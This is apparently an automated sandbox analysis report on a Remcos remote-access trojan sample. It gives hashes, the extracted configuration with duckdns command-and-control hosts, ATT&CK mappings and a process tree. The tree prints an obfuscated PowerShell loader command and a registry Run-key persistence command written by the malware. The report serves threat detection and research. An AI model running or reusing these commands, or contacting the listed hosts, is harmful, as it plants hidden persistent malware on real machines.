remcos | dab79a6a1178db25ff7368d7d053171539f737c246a02549be64cd7f2f36dffb

Analysis

max time kernel
148s
max time network
153s
platform
windows10-2004_x64
resource
win10v2004-20250211-en
resource tags

arch:x64arch:x86image:win10v2004-20250211-enlocale:en-usos:windows10-2004-x64system
submitted
17/02/2025, 04:23

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General

Target

dab79a6a1178db25ff7368d7d053171539f737c246a02549be64cd7f2f36dffb.exe
Size

767KB
MD5

3cdf02f1e4f157615d752fb63eb1d073
SHA1

66c1220e48da186f6f94f0107ec8449878c3b873
SHA256

dab79a6a1178db25ff7368d7d053171539f737c246a02549be64cd7f2f36dffb
SHA512

a800fb8c50116397af66f4181ff8fbde8e04ccff103c34b860c92801ac68e2e26bf9be1866dae6554787c6b97310b8969741a78f9ee5ec9d74ed71b28817a8ed
SSDEEP

12288:SGYEBUTGfcYjgCqOBHh02/24NCR9fQ9lyAjaGV+68L4jQ03eo8EeV+68L1lfHphf:zYi6GTj5TJN6Y9l9WDiQSesL1lfJhf

Score

10^/10

remcos horay discovery execution persistence rat

Malware Config

Extracted

Family

remcos

Botnet

Horay

halelgeeh8iugoty1.duckdns.org:8347

halelgeeh8iugoty1.duckdns.org:37830

halelgeeh8iugoty2.duckdns.org:8347

halelgeeh8iugoty3.duckdns.org:8347

halelgeeh8iugoty4.duckdns.org:8347

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
true
install_flag
false
keylog_crypt
false
keylog_file
gbirtup.dat
keylog_flag
false
keylog_path
%AppData%
mouse_option
false
mutex
hnsoetuise-SUOTS6
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
startup_value
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Remcos family
remcos

Downloads MZ/PE file 1 IoCs

flow	pid	Process
32	1112	Process not Found

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2656314083-4170277356-267438488-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Unblading5 = "%Copperytailed% -windowstyle 1 $Notornis=(gi 'HKCU:\\Software\\Nonpenetrability\\').GetValue('denicotinizes');%Copperytailed% ($Notornis)"	reg.exe

Blocklisted process makes network request 7 IoCs

flow	pid	Process
28	3032	msiexec.exe
30	3032	msiexec.exe
35	3032	msiexec.exe
38	3032	msiexec.exe
44	3032	msiexec.exe
50	3032	msiexec.exe
53	3032	msiexec.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
27	drive.google.com
28	drive.google.com

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
3032	msiexec.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
1508	powershell.exe
3032	msiexec.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1508	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dab79a6a1178db25ff7368d7d053171539f737c246a02549be64cd7f2f36dffb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MicrosoftEdgeUpdate.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
4788	MicrosoftEdgeUpdate.exe

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
1508	powershell.exe
1508	powershell.exe
1508	powershell.exe
1508	powershell.exe
1508	powershell.exe
1508	powershell.exe
1508	powershell.exe
1508	powershell.exe
1508	powershell.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
1508	powershell.exe

Suspicious use of AdjustPrivilegeToken 22 IoCs

description	pid	Process
Token: SeDebugPrivilege	1508	powershell.exe
Token: SeIncreaseQuotaPrivilege	1508	powershell.exe
Token: SeSecurityPrivilege	1508	powershell.exe
Token: SeTakeOwnershipPrivilege	1508	powershell.exe
Token: SeLoadDriverPrivilege	1508	powershell.exe
Token: SeSystemProfilePrivilege	1508	powershell.exe
Token: SeSystemtimePrivilege	1508	powershell.exe
Token: SeProfSingleProcessPrivilege	1508	powershell.exe
Token: SeIncBasePriorityPrivilege	1508	powershell.exe
Token: SeCreatePagefilePrivilege	1508	powershell.exe
Token: SeBackupPrivilege	1508	powershell.exe
Token: SeRestorePrivilege	1508	powershell.exe
Token: SeShutdownPrivilege	1508	powershell.exe
Token: SeDebugPrivilege	1508	powershell.exe
Token: SeSystemEnvironmentPrivilege	1508	powershell.exe
Token: SeRemoteShutdownPrivilege	1508	powershell.exe
Token: SeUndockPrivilege	1508	powershell.exe
Token: SeManageVolumePrivilege	1508	powershell.exe
Token: 33	1508	powershell.exe
Token: 34	1508	powershell.exe
Token: 35	1508	powershell.exe
Token: 36	1508	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3032	msiexec.exe

Suspicious use of WriteProcessMemory 13 IoCs

description	pid	Process	procid_target
PID 2516 wrote to memory of 1508	2516	dab79a6a1178db25ff7368d7d053171539f737c246a02549be64cd7f2f36dffb.exe	89
PID 2516 wrote to memory of 1508	2516	dab79a6a1178db25ff7368d7d053171539f737c246a02549be64cd7f2f36dffb.exe	89
PID 2516 wrote to memory of 1508	2516	dab79a6a1178db25ff7368d7d053171539f737c246a02549be64cd7f2f36dffb.exe	89
PID 1508 wrote to memory of 3032	1508	powershell.exe	92
PID 1508 wrote to memory of 3032	1508	powershell.exe	92
PID 1508 wrote to memory of 3032	1508	powershell.exe	92
PID 1508 wrote to memory of 3032	1508	powershell.exe	92
PID 3032 wrote to memory of 4416	3032	msiexec.exe	97
PID 3032 wrote to memory of 4416	3032	msiexec.exe	97
PID 3032 wrote to memory of 4416	3032	msiexec.exe	97
PID 4416 wrote to memory of 4156	4416	cmd.exe	99
PID 4416 wrote to memory of 4156	4416	cmd.exe	99
PID 4416 wrote to memory of 4156	4416	cmd.exe	99

C:\Users\Admin\AppData\Local\Temp\dab79a6a1178db25ff7368d7d053171539f737c246a02549be64cd7f2f36dffb.exe
"C:\Users\Admin\AppData\Local\Temp\dab79a6a1178db25ff7368d7d053171539f737c246a02549be64cd7f2f36dffb.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2516
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle 1 "$Tandhvalernes101=GC -raw 'C:\Users\Admin\AppData\Local\Temp\stor\bundsnrers\immonastered\Respektlsestes.Ves';$diskussionslister=$Tandhvalernes101.SubString(52950,3);.$diskussionslister($Tandhvalernes101)"
  2⤵
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1508
- - C:\Windows\SysWOW64\msiexec.exe
    "C:\Windows\SysWOW64\msiexec.exe"
    3⤵
    - Blocklisted process makes network request
    - Suspicious use of NtCreateThreadExHideFromDebugger
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:3032
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "Unblading5" /t REG_EXPAND_SZ /d "%Copperytailed% -windowstyle 1 $Notornis=(gi 'HKCU:\Software\Nonpenetrability\').GetValue('denicotinizes');%Copperytailed% ($Notornis)"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4416
    - - C:\Windows\SysWOW64\reg.exe
        
        REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "Unblading5" /t REG_EXPAND_SZ /d "%Copperytailed% -windowstyle 1 $Notornis=(gi 'HKCU:\Software\Nonpenetrability\').GetValue('denicotinizes');%Copperytailed% ($Notornis)"
        5⤵
        Adds Run key to start application
        System Location Discovery: System Language Discovery
        
        PID:4156

C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe
"C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe" /ping PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz48cmVxdWVzdCBwcm90b2NvbD0iMy4wIiB1cGRhdGVyPSJPbWFoYSIgdXBkYXRlcnZlcnNpb249IjEuMy4xOTUuNDMiIHNoZWxsX3ZlcnNpb249IjEuMy4xOTUuNDMiIGlzbWFjaGluZT0iMSIgc2Vzc2lvbmlkPSJ7QkJEQkQzODAtRDk5MS00OTM1LTgyM0MtREFGRUNEOTBBMDU2fSIgdXNlcmlkPSJ7QjA1NEMwNTAtMTkwRS00RUY5LThGNjMtQjE3REU5QTc5N0I5fSIgaW5zdGFsbHNvdXJjZT0ibGltaXRlZCIgcmVxdWVzdGlkPSJ7NDUzOUJGQkMtOTZCQy00RUQyLUIxMzMtMEY1M0FGQTRBOEVCfSIgZGVkdXA9ImNyIiBkb21haW5qb2luZWQ9IjAiPjxodyBsb2dpY2FsX2NwdXM9IjIiIHBoeXNtZW1vcnk9IjQiIGRpc2tfdHlwZT0iMiIgc3NlPSIxIiBzc2UyPSIxIiBzc2UzPSIxIiBzc3NlMz0iMSIgc3NlNDE9IjEiIHNzZTQyPSIxIiBhdng9IjEiLz48b3MgcGxhdGZvcm09IndpbiIgdmVyc2lvbj0iMTAuMC4xOTA0MS4xMjg4IiBzcD0iIiBhcmNoPSJ4NjQiIHByb2R1Y3RfdHlwZT0iNDgiIGlzX3dpcD0iMCIgaXNfaW5fbG9ja2Rvd25fbW9kZT0iMCIvPjxvZW0gcHJvZHVjdF9tYW51ZmFjdHVyZXI9IiIgcHJvZHVjdF9uYW1lPSIiLz48ZXhwIGV0YWc9IiZxdW90O0UreGJBejZZNnNVMTI4OWJTNnFsNFZSTGJramZCVUdUTUpzanJIcjQ0aUk9JnF1b3Q7Ii8-PGFwcCBhcHBpZD0iezhBNjlEMzQ1LUQ1NjQtNDYzYy1BRkYxLUE2OUQ5RTUzMEY5Nn0iIHZlcnNpb249IjEyMy4wLjYzMTIuMTIzIiBuZXh0dmVyc2lvbj0iIiBsYW5nPSJlbiIgYnJhbmQ9IkdHTFMiIGNsaWVudD0iIiBpbnN0YWxsYWdlPSI1IiBpbnN0YWxsZGF0ZXRpbWU9IjE3MzkyODM0MTAiIG9vYmVfaW5zdGFsbF90aW1lPSIxMzM4Mzc1NTUzNjg2NzAwMDAiPjxldmVudCBldmVudHR5cGU9IjMxIiBldmVudHJlc3VsdD0iMSIgZXJyb3Jjb2RlPSIwIiBleHRyYWNvZGUxPSIyMTc5ODYyIiBzeXN0ZW1fdXB0aW1lX3RpY2tzPSI1MDcwNjk5MTIwIi8-PC9hcHA-PC9yZXF1ZXN0Pg
1⤵
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Internet Connection Discovery
PID:4788

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jphzcj4x.nhi.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\stor\bundsnrers\immonastered\Respektlsestes.Ves

Filesize
51KB

MD5
f177e247c8beadd6e0762493d8e9fe79

SHA1
008d26170d63c58d17695dfa8196e4ce8feb920a

SHA256
825dc4cae1f45f17dc54bd1ec82d890b8266691b5fad32e7882fc8dc6bc2c71b

SHA512
fa9a9a02bcb1d2725b228aea9a8141536578b9cf023b81c2df9a58e1e046f83314f85bb74dca5bd9c0a6ac6cbaad5d74269ae5efa2b15925609fe51308b81884

Download Submit
C:\Users\Admin\AppData\Local\Temp\stor\bundsnrers\immonastered\Vandlbet.Rer

Filesize
335KB

MD5
60e51784909a06020bed149894dec35f

SHA1
59c7f2842cbbb81f0482de16137d84ca999e7ceb

SHA256
86a3587564e8d82a05340f942ea486fc9dd8d046dc04797ac8c1d07f6b3b8421

SHA512
ad83b3d5098d083f67ef17ef35d0f67d987d716b8d3349b2376111dabec959fe270142f87fcfdcc7fb489ca8189f5a533eeae84a2d092e13c81a4ab4bd9047c8

Download Submit
memory/1508-12-0x0000000072E8E000-0x0000000072E8F000-memory.dmp

Filesize
4KB

Download
memory/1508-13-0x0000000002EC0000-0x0000000002EF6000-memory.dmp

Filesize
216KB

Download
memory/1508-15-0x00000000055C0000-0x0000000005BE8000-memory.dmp

Filesize
6.2MB

Download
memory/1508-14-0x0000000072E80000-0x0000000073630000-memory.dmp

Filesize
7.7MB

Download
memory/1508-16-0x0000000005C20000-0x0000000005C42000-memory.dmp

Filesize
136KB

Download
memory/1508-17-0x0000000072E80000-0x0000000073630000-memory.dmp

Filesize
7.7MB

Download
memory/1508-18-0x0000000005DF0000-0x0000000005E56000-memory.dmp

Filesize
408KB

Download
memory/1508-19-0x0000000005E60000-0x0000000005EC6000-memory.dmp

Filesize
408KB

Download
memory/1508-29-0x0000000005ED0000-0x0000000006224000-memory.dmp

Filesize
3.3MB

Download
memory/1508-30-0x0000000006530000-0x000000000654E000-memory.dmp

Filesize
120KB

Download
memory/1508-31-0x00000000065D0000-0x000000000661C000-memory.dmp

Filesize
304KB

Download
memory/1508-34-0x0000000006A90000-0x0000000006AB2000-memory.dmp

Filesize
136KB

Download
memory/1508-33-0x0000000006A20000-0x0000000006A3A000-memory.dmp

Filesize
104KB

Download
memory/1508-35-0x0000000007B80000-0x0000000008124000-memory.dmp

Filesize
5.6MB

Download
memory/1508-32-0x0000000006B00000-0x0000000006B96000-memory.dmp

Filesize
600KB

Download
memory/1508-37-0x00000000087B0000-0x0000000008E2A000-memory.dmp

Filesize
6.5MB

Download
memory/1508-39-0x000000006F340000-0x000000006F38C000-memory.dmp

Filesize
304KB

Download
memory/1508-50-0x0000000007910000-0x000000000792E000-memory.dmp

Filesize
120KB

Download
memory/1508-51-0x0000000007980000-0x0000000007A23000-memory.dmp

Filesize
652KB

Download
memory/1508-45-0x0000000072E80000-0x0000000073630000-memory.dmp

Filesize
7.7MB

Download
memory/1508-38-0x0000000007930000-0x0000000007962000-memory.dmp

Filesize
200KB

Download
memory/1508-52-0x0000000072E80000-0x0000000073630000-memory.dmp

Filesize
7.7MB

Download
memory/1508-53-0x0000000007AA0000-0x0000000007AAA000-memory.dmp

Filesize
40KB

Download
memory/1508-54-0x0000000007AC0000-0x0000000007AD1000-memory.dmp

Filesize
68KB

Download
memory/1508-56-0x0000000007B20000-0x0000000007B34000-memory.dmp

Filesize
80KB

Download
memory/1508-57-0x0000000007B60000-0x0000000007B7A000-memory.dmp

Filesize
104KB

Download
memory/1508-58-0x0000000007B50000-0x0000000007B58000-memory.dmp

Filesize
32KB

Download
memory/1508-55-0x0000000007B10000-0x0000000007B1E000-memory.dmp

Filesize
56KB

Download
memory/1508-59-0x00000000082D0000-0x00000000082FA000-memory.dmp

Filesize
168KB

Download
memory/1508-60-0x0000000008300000-0x0000000008324000-memory.dmp

Filesize
144KB

Download
memory/1508-61-0x0000000072E80000-0x0000000073630000-memory.dmp

Filesize
7.7MB

Download
memory/1508-63-0x0000000072E80000-0x0000000073630000-memory.dmp

Filesize
7.7MB

Download
memory/1508-65-0x0000000072E80000-0x0000000073630000-memory.dmp

Filesize
7.7MB

Download
memory/1508-66-0x0000000072E8E000-0x0000000072E8F000-memory.dmp

Filesize
4KB

Download
memory/1508-67-0x0000000008E30000-0x000000000E649000-memory.dmp

Filesize
88.1MB

Download
memory/1508-68-0x0000000072E80000-0x0000000073630000-memory.dmp

Filesize
7.7MB

Download
memory/1508-69-0x0000000072E80000-0x0000000073630000-memory.dmp

Filesize
7.7MB

Download
memory/1508-70-0x0000000072E80000-0x0000000073630000-memory.dmp

Filesize
7.7MB

Download
memory/1508-72-0x0000000072E80000-0x0000000073630000-memory.dmp

Filesize
7.7MB

Download
memory/3032-74-0x0000000001230000-0x0000000002484000-memory.dmp

Filesize
18.3MB

Download
memory/3032-88-0x0000000001230000-0x0000000002484000-memory.dmp

Filesize
18.3MB

Download
memory/3032-91-0x0000000001230000-0x0000000002484000-memory.dmp

Filesize
18.3MB

Download
memory/3032-95-0x0000000001230000-0x0000000002484000-memory.dmp

Filesize
18.3MB

Download
memory/3032-96-0x0000000001230000-0x0000000002484000-memory.dmp

Filesize
18.3MB

Download
memory/3032-97-0x0000000001230000-0x0000000002484000-memory.dmp

Filesize
18.3MB

Download
memory/3032-98-0x0000000001230000-0x0000000002484000-memory.dmp

Filesize
18.3MB

Download
memory/3032-99-0x0000000001230000-0x0000000002484000-memory.dmp

Filesize
18.3MB

Download
memory/3032-100-0x0000000001230000-0x0000000002484000-memory.dmp

Filesize
18.3MB

Download
memory/3032-101-0x0000000001230000-0x0000000002484000-memory.dmp

Filesize
18.3MB

Download
memory/3032-102-0x0000000001230000-0x0000000002484000-memory.dmp

Filesize
18.3MB

Download
memory/3032-103-0x0000000001230000-0x0000000002484000-memory.dmp

Filesize
18.3MB

Download
memory/3032-104-0x0000000001230000-0x0000000002484000-memory.dmp

Filesize
18.3MB

Download